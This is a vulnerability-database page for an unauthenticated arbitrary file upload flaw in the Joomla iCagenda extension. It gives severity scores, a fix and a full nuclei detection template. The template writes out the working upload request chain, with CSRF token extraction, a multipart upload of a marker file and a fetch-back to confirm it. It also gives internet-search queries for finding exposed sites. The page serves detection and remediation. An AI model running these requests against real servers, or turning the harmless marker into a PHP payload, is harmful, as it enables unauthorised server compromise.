Joomla iCagenda < 3.9.10 - Unauthenticated Arbitrary File Upload RCE

Exploited in the wild. Listed by CISA on 2026-07-10; known to be used by ransomware.

criticalseverity

9.8CVSS score

20.1%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

iCagenda extension for Joomla contains an unrestricted file upload vulnerability in the file attachment feature, letting attackers upload and execute arbitrary PHP code, exploit requires no special privileges.

Impact

Attackers can upload and execute arbitrary PHP code, leading to full server compromise.

Fix

Update to the latest version of iCagenda extension.

How to confirm it

Send: GET /administrator/
Positive when: status_code == 200 and contains(body, "icagenda") || contains(body, "iCagenda")
Send: POST /index.php?option=com_icagenda&task=registration.submit
Positive when: status_code == 200 || status_code == 303
Send: GET /images/icagenda/frontend/attachments/{{marker}}.txt
Positive when: status_code == 200 and contains(body, "CVE-2026-48939-FILE-UPLOAD-CONFIRMED")

Run it with nuclei: nuclei -id CVE-2026-48939 -u <target>

The full check

id: CVE-2026-48939

info:
  name: Joomla iCagenda < 3.9.10 - Unauthenticated Arbitrary File Upload RCE
  author: 0x_Akoko
  severity: critical
  description: |
    iCagenda extension for Joomla contains an unrestricted file upload vulnerability in the file attachment feature, letting attackers upload and execute arbitrary PHP code, exploit requires no special privileges.
  impact: |
    Attackers can upload and execute arbitrary PHP code, leading to full server compromise.
  remediation: |
    Update to the latest version of iCagenda extension.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48939
    - https://github.com/ChiefYoru/CVE-2026-48939_PoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-48939
    epss-score: 0.20069
    epss-percentile: 0.97468
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: joomlic
    product: icagenda
    framework: joomla
    shodan-query: http.html:"com_icagenda"
    fofa-query: body="com_icagenda"
  tags: cve,cve2026,joomla,icagenda,file-upload,rce,intrusive,kev,vkev

variables:
  marker: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /administrator/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "icagenda") || contains(body, "iCagenda")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf
        group: 1
        internal: true
        regex:
          - 'name="([a-f0-9]{32})"\s+value="1"'

  - raw:
      - |
        POST /index.php?option=com_icagenda&task=registration.submit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----iCagendaBoundary48939
        X-Requested-With: XMLHttpRequest
        Referer: {{BaseURL}}/

        ------iCagendaBoundary48939
        Content-Disposition: form-data; name="{{csrf}}"

        1
        ------iCagendaBoundary48939
        Content-Disposition: form-data; name="jform[attachment]"; filename="{{marker}}.txt"
        Content-Type: text/plain

        CVE-2026-48939-FILE-UPLOAD-CONFIRMED
        ------iCagendaBoundary48939--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 303'
        internal: true

  - raw:
      - |
        GET /images/icagenda/frontend/attachments/{{marker}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-48939-FILE-UPLOAD-CONFIRMED")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from